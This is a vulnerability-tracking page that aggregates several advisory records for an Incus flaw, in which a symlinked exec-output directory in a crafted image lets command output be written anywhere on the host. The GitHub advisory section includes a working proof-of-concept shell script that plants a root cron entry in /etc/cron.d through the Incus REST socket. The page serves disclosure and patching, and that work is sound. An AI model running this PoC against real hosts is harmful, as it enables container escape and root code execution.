Incus has an arbitrary file write on host via `exec-output` symlink in crafted image

CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.

No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.

Incus is a system container and virtual machine manager. Prior to version 7.2.0, the `record-output` parameter of the `/instances/$name/exec` endpoint stores the output of the command in the `exec-output` directory of the instance. If `exec-output` is a symlink, file named `exec_UUID.stdout` and `exec_UUID.stderr` can be written to an arbitrary location where the `.stdout` file will contain arbitrary content. This behavior can be abused for arbitrary command execution. Version 7.2.0 contains a patch.

Source published

21 Aug 2026 14:19:45 UTC

Source modified

5 Nov 2026 23:50:24 UTC

Saved here

6 Nov 2026 01:36:41 UTC

Source terms

CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · 9.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Incus is a system container and virtual machine manager. Prior to version 7.2.0, the `record-output` parameter of the `/instances/$name/exec` endpoint stores the output of the command in the `exec-output` directory of the instance. If `exec-output` is a symlink, file named `exec_UUID.stdout` and `exec_UUID.stderr` can be written to an arbitrary location where the `.stdout` file will contain arbitrary content. This behavior can be abused for arbitrary command execution. Version 7.2.0 contains a patch.

Source published

Aug 21, 2026, 2:19:45 PM (timezone not stated)

Source modified

Nov 5, 2026, 11:50:24 PM (timezone not stated)

Saved here

15 Nov 2026 14:51:01 UTC

Source terms

ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 3.1 · 9.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Incus is a system container and virtual machine manager. Prior to version 7.2.0, the `record-output` parameter of the `/instances/$name/exec` endpoint stores the output of the command in the `exec-output` directory of the instance. If `exec-output` is a symlink, file named `exec_UUID.stdout` and `exec_UUID.stderr` can be written to an arbitrary location where the `.stdout` file will contain arbitrary content. This behavior can be abused for arbitrary command execution. Version 7.2.0 contains a patch.

Source published

21 Aug 2026 15:16:40 UTC

Source modified

6 Nov 2026 01:17:49 UTC

Saved here

6 Nov 2026 15:03:32 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · [email protected] · Secondary · 9.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

### Summary The `record-output` parameter of the `/instances/$name/exec` endpoint stores the output of the command in the `exec-output` directory of the instance. If `exec-output` is a symlink, file named `exec_UUID.stdout` and `exec_UUID.stderr` can be written to an arbitrary location where the `.stdout` file will contain arbitrary content. This behavior can be abused for arbitrary command execution. ### Details When an image is unpacked, top-level symlinks are extracted as is; allowing for `exec-output` to be placed on disk. In `instance_exec.go`, `os.Mkdir` continues of `exec-output` exists and `os.OpenFile` follows the `exec-output` symlink. ### PoC Below, we place the `exec_UUID.stdout` file in `/etc/cron.d` on the host for arbitrary command execution. ``` #!/bin/sh # usage: $0 existing-imagefp set -eu basefp="${1}" die() { printf '%s' "${@}" >&2 exit 1 } command -v curl >/dev/null 2>&1 || die 'error: curl not found\n' command -v python3 >/dev/null 2>&1 || die 'error: python3 not found\n' tmpdir=$(mktemp -d) cleanup() { rm -rf "${tmpdir}" } trap cleanup EXIT INT QUIT TERM HUP # insert exec-output symlink incus image export "${basefp}" "${tmpdir}/img" mkdir "${tmpdir}/repack" cd "${tmpdir}/repack" xz -cd "${tmpdir}/img" | tar -f- -vx rm -rf exec-output ln -s /etc/cron.d exec-output tar -f- -c * | gzip -c9 >"${tmpdir}/img" cd - >/dev/null incus image import "${tmpdir}"/img* --alias afw-exec-output # Launch container, exec with record-output via REST API incus launch afw-exec-output afw-exec-output incus wait afw-exec-output ip OP=$(curl -s --unix-socket /var/lib/incus/unix.socket \ -X POST -H 'Content-Type: application/json' \ -d '{"command":["/bin/sh","-c","echo * * * * * root id'"'>'"'/afw-exec-output"],"record-output":true}' \ "lxd/1.0/instances/afw-exec-output/exec" | python3 -c "import sys,json;print(json.load(sys.stdin)['operation'])") curl -s --unix-socket /var/lib/incus/unix.socket "$OP/wait?timeout=30" >/dev/null #find /etc/cron.d/exec_* -exec cat {} \; ``` ### Impact Constrained file creation in an arbitrary directory on the host via via an unsanitized symlink; possibly leading to command execution.

Source published

26 Jun 2026 18:32:52 UTC

Source modified

6 Nov 2026 10:57:01 UTC

Saved here

6 Nov 2026 11:13:14 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Publisher rating · CRITICAL

Incus has an arbitrary file write on host via `exec-output` symlink in crafted image in github.com/lxc/incus

Source published

7 Jul 2026 16:41:46 UTC

Source modified

7 Jul 2026 20:30:15 UTC

Saved here

24 Oct 2026 13:19:41 UTC

Source terms

OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.